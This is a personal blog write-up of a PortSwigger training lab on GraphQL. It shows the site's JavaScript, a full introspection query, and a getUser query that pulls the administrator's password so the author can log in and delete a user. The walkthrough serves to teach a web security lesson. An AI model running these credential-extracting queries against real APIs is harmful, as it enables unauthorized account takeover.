Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Accidental exposure of private GraphQL fields | July 5, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Discovering private GraphQL field using introspection! Without further ado, let’s dive in.

Background

The user management functions for this lab are powered by a GraphQL endpoint. The lab contains an access control vulnerability whereby you can induce the API to reveal user credential fields.

To solve the lab, sign in as the administrator and delete the username carlos.

We recommend that you install the InQL extension before attempting this lab. InQL makes it easier to modify GraphQL queries in Repeater, and enables you to scan the API schema.

For more information on using InQL, see Working with GraphQL in Burp Suite.

Exploitation

Home page:

In here, we can view some blog posts.

View source page:

[...]
<script src="/resources/js/gqlUtil.js"></script>
<script src="/resources/js/blogSummaryGql.js"></script>
<script>displayContent('/post', 'postId')</script>
[...]

In the index page, 2 JavaScript files were imported, and executed function displayContent().

In /resources/js/blogSummaryGql.js, we can find a GraphQL query:

const OPERATION_NAME = 'getBlogSummaries';

const QUERY = `
query ${OPERATION_NAME} {
    getAllBlogPosts {
        image
        title
        summary
        id
    }
}`;
[...]

/resources/js/gqlUtil.js:

[...]
const sendQuery = (query, onGet, onErrors, onException) => {
    fetch(
            '/graphql/v1',
            {
                method: 'POST',
                headers: {
                    "Content-Type": "application/json",
                    "Accept": "application/json"
                },
                body: JSON.stringify(query)
            }
        )
        .then(response => response.json())
        .then(response => {
            const errors = response['errors'];
            if (errors) {
                onErrors(...errors);
            } else {
                onGet(response['data']);
            }
        })
        .catch(onException);
};

In here, we can see that the GraphQL API endpoint is at /graphql/v1.

Burp Suite HTTP history:

When we go to the index page, it’ll fetch all blog posts data via a GraphQL query getAllBlogPosts.

Query:

query getBlogSummaries {
    getAllBlogPosts {
        image
        title
        summary
        id
    }
}

Now, we can try to probe for introspection:

query {
    __schema{queryType{name}}
}

As you can see, the GraphQL API’s introspection is enabled.

To retrieve the GraphQL schema, we can use the following query:

query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
         ...FullType
        }
        directives {
            name
            description
            args {
                ...InputValue
        }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}

In that response, we can find some interesting types and queries:

Armed with above information, we can first try to retrieve all blog posts via query getAllBlogPosts:

query {
    getAllBlogPosts {
        id
        image
        title
        author
        date
        summary
        paragraphs
    }
}

However, nothing weird…

In this web application, we can also login an account:

View source page:

[...]
<section>
    <form class="login-form" onsubmit="gqlLogin(this, event, '/my-account')">
        <input required type="hidden" name="csrf" value="6HnVro05GmcsWYiCpvYr4j7qsyPARkEk">
        <label>Username</label>
        <input required type=username name="username" autofocus>
        <label>Password</label>
        <input required type=password name="password">
        <button class=button type=submit> Log in </button>
    </form>
    <script src='/resources/js/gqlUtil.js'></script>
    <script src='/resources/js/loginGql.js'></script>
</section>
[...]

In here, we found a new JavaScript import.

/resources/js/loginGql.js:

const OPERATION_NAME = 'login';

const MUTATION = `
    mutation ${OPERATION_NAME}($input: LoginInput!) {
        login(input: $input) {
            token
            success
        }
    }`;

const UNEXPECTED_ERROR = 'Unexpected error while trying to log in'
const INVALID_CREDENTIALS = 'Invalid username or password.'

const getLoginMutation = (username, password) => ({
    query: MUTATION,
    operationName: OPERATION_NAME,
    variables: {
        input: {
            username,
            password
        }
    }
});

const displayErrorMessages = (...messages) => {
    [...]
};

const redirectOnSuccess = (redirectPath) => {
    [...]
};

const gqlLogin = (formElement, event, accountDetailsPath) => {
    event.preventDefault();

    const formData = new FormData(formElement);
    const { username, password } = Object.fromEntries(formData.entries())

    const loginMutation = getLoginMutation(username, password);

    sendQuery(loginMutation, redirectOnSuccess(accountDetailsPath), handleErrors(displayErrorMessages), () => displayErrorMessages(UNEXPECTED_ERROR));
};

When the “Log in” button is clicked, it’ll send a GraphQL mutation query login, with variable username and password. The result is expected to return field token and success.

Mutation query login:

mutation login($input: LoginInput!) {
    login(input: $input) {
        token
        success
    }
}

Variable:

{
    "input": {
        "password": "bal", 
        "username": "anything"
    }
}

We could try to perform SQL injection to bypass the authentication.

However, we actually found a “hidden” query in the introspection query getUser(id: ID!)!

With that said, we can try to retrieve some users’ username and password!

query {
    getUser(id: 1) {
        id
        username
        password
    }
}

Oh! It worked! And we found administrator’s password!

Let’s login and delete user carlos!

What we’ve learned:

  1. Discovering private GraphQL field using introspection